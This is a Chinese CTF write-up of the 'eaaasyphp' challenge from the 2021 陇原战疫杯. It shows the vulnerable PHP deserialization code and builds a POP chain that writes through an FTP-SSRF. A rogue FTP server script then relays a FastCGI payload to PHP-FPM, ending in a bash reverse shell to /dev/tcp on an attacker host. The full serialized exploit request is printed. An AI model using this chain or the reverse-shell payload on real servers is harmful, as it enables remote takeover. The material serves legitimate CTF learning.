2021 陇原战“疫”杯 eaaasyphp wp

最新推荐文章于 2022-02-25 17:24:55 发布

Sapphire037

最新推荐文章于 2022-02-25 17:24:55 发布

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分类专栏：笔记

本文链接：https://blog.csdn.net/Sapphire037/article/details/121193552

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本文探讨了如何通过设置静态变量并触发`__wakeup`魔术方法，在PHP代码中利用FastCGI服务器的漏洞，执行FTP-SSRF攻击并控制FPM进程。作者详细展示了如何构造恶意payload，利用Esle和Bypass类进行链式调用，最终实现命令执行获取flag。

摘要由CSDN通过智能技术生成

eaaasyphp

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }  
    }
}


class Bunny {

    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}

这里设置了两个static所以得先让他们为true才能继续进行，逻辑很清楚，构造链子

<?php

class Esle
{
}

class Hint
{
    public function __construct()
    {
        $this->hint = "phpinfo";
    }
}


class Bunny
{
    public function __construct()
    {
        $this->filename = "ftp://bbb@xxx:39021/aaa";
        $this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxxxx/5000%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
    }
}

class Welcome
{
    public function __construct()
    {
        $this->username = new Bunny();
    }
}

class Bypass
{

    public function __construct()
    {
//        $this->str4 = 'phpinfo';
        $this->str4 = new Welcome();
    }
}

//echo urlencode(serialize(new Hint()));
echo urlencode(serialize(array(new Esle(), new Bypass())));

之前试过直接写还有各种方法，估计是没有权限根本写不上，但是还可以利用FTP - SSRF 来攻击 FPM/FastCGI造成命令执行
参考文章:浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法
首先使用 gopherus 生成payload：
请添加图片描述然后在VPS上创建一个这样的py脚本

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))//端口号修改为VPS内ftp被动模式的端口号,比如我是39021
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

运行该脚本，
再开一个监听
请添加图片描述
然后hackbar发送生成好的payload

code=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22ftp%3A%2F%2Fbbb%40xxx%3A39021%2Faaa%22%3Bs%3A4%3A%22data%22%3Bs%3A413%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2Fxxx%2F5000+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3B%7D%7D%7D%7D

反弹成功，执行命令获取flag
请添加图片描述